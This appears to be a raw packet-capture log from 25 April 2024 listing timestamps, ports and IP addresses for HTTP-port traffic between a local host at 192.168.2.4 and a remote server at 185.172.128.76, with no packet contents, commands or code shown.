Apr 25, 2024 14:42:10.631999969 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.632199049 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.632253885 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.633280993 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.633336067 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.633390903 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.633425951 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.633445024 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.633462906 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.633467913 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.633502007 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.633516073 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.633544922 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.633573055 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.633619070 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.633640051 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.633681059 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.633697033 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.633732080 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.633783102 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.633836031 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.633852959 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.633887053 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.633898020 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.633928061 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.633929014 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.633965969 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.633980036 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.634011030 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.634068966 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.634124041 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.634196997 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.634234905 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.634262085 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.634285927 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.634366989 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.634419918 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.634468079 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.634505033 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.634521961 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.634548903 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.634577036 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.634615898 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.634629965 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.634650946 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.634660006 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.634690046 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.634696007 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.634733915 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.634943008 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.634998083 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.635049105 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.635085106 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.635102987 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.635122061 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.635128021 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.635169029 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.635226011 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.635263920 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.635276079 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.635298967 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.635309935 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.635335922 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.635339022 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.635374069 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.635380030 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.635413885 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.635421991 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.635451078 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.635456085 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.635490894 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.635495901 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.635529041 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.635535955 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.635565042 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.635574102 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.635601997 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.635607958 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.635641098 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.635648012 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.635679007 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.635685921 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.635715008 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.635721922 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.635754108 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.635756016 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.635791063 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.635796070 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.635843039 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.635848999 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.635878086 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.635885954 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.635915995 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.635917902 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.635952950 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.635957003 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.635992050 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.635993958 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.636024952 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.636039972 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.636064053 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.636065960 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.636116982 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.636123896 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.636162043 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.636177063 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.636199951 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.636207104 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.636238098 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.636245012 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.636275053 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.636282921 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.636311054 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.636318922 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.636348963 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.636353970 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.636387110 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.636394024 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.636424065 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.636430025 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.636457920 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.636467934 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.636495113 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.636498928 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.636533976 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.636539936 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.636573076 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.636579037 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.636606932 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.636619091 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.636645079 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.636646986 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.636682987 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.636704922 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.636722088 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.636730909 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.636755943 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.636766911 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.636792898 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.636796951 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.636831999 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.636842012 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.636868000 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.636873960 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.636904001 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.636913061 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.636940956 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.636945009 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.636979103 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.636991024 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.637016058 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.637022972 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.637052059 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.637062073 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.637089968 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.637094975 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.637128115 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.637135983 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.637165070 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.637183905 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.637197018 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.637207031 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.637233973 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.637245893 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.637273073 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.637281895 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.637310982 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.637326956 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.637346029 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.637361050 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.637383938 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.637394905 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.637422085 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.637435913 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.637461901 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.637475967 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.637495995 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.637507915 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.637532949 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.637537956 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.637573004 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.637578011 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.637610912 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.637624025 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.637650013 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.637660027 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.637698889 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.637784004 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.637834072 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.637856960 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.637890100 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.637898922 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.637928963 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.637942076 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.637967110 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.637973070 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.638005018 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.638010979 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.638039112 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.638060093 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.638077021 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.638078928 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.638114929 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.638123989 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.638153076 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.638164997 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.638186932 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.638207912 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.638225079 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.638231039 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.638262987 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.638273954 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.638302088 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.638314009 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.638335943 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.638351917 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.638380051 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.685295105 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.685327053 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.685344934 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.685364962 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.685374975 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.685384989 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.685405016 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.685408115 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.685422897 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.685436964 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.685441017 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.685457945 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.685461998 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.685487986 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.685499907 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.685513973 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.685539007 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.685556889 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.685579062 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.685584068 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.685620070 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.685627937 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.685668945 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.685832977 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.685888052 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.685908079 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.685960054 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.686294079 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.686353922 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.686563015 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.686600924 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.686619043 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.686640024 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.686645031 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.686678886 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.686691999 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.686717987 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.686729908 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.686753035 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.686769962 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.686790943 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.686803102 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.686830044 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.686841011 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.686880112 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.686940908 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.686975002 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.686995029 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.687015057 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.687050104 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.687052011 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.687068939 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.687092066 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.687100887 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.687127113 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.687139034 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.687165022 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.687171936 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.687211037 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.687237024 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.687277079 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.687288046 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.687311888 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.687321901 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.687361956 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.687419891 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.687458038 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.687465906 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.687506914 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.687531948 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.687565088 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.687580109 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.687611103 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.687788963 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.687830925 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.687853098 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.687875032 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.688060999 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.688116074 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.688126087 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.688177109 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.688570023 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.688610077 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.688625097 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.688646078 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.688657045 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.688694000 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.688718081 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.688766956 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.688910007 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.688951015 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.688963890 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.688986063 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.689006090 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.689023972 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.689030886 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.689064980 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.689073086 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.689104080 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.689110041 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.689137936 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.689150095 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.689182043 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.689336061 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.689374924 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.689384937 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.689419031 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.689476967 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.689511061 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.689523935 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.689553022 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.689616919 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.689656973 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.689672947 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.689701080 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.689729929 CEST	80	49731	185.172.128.76	192.168.2.4
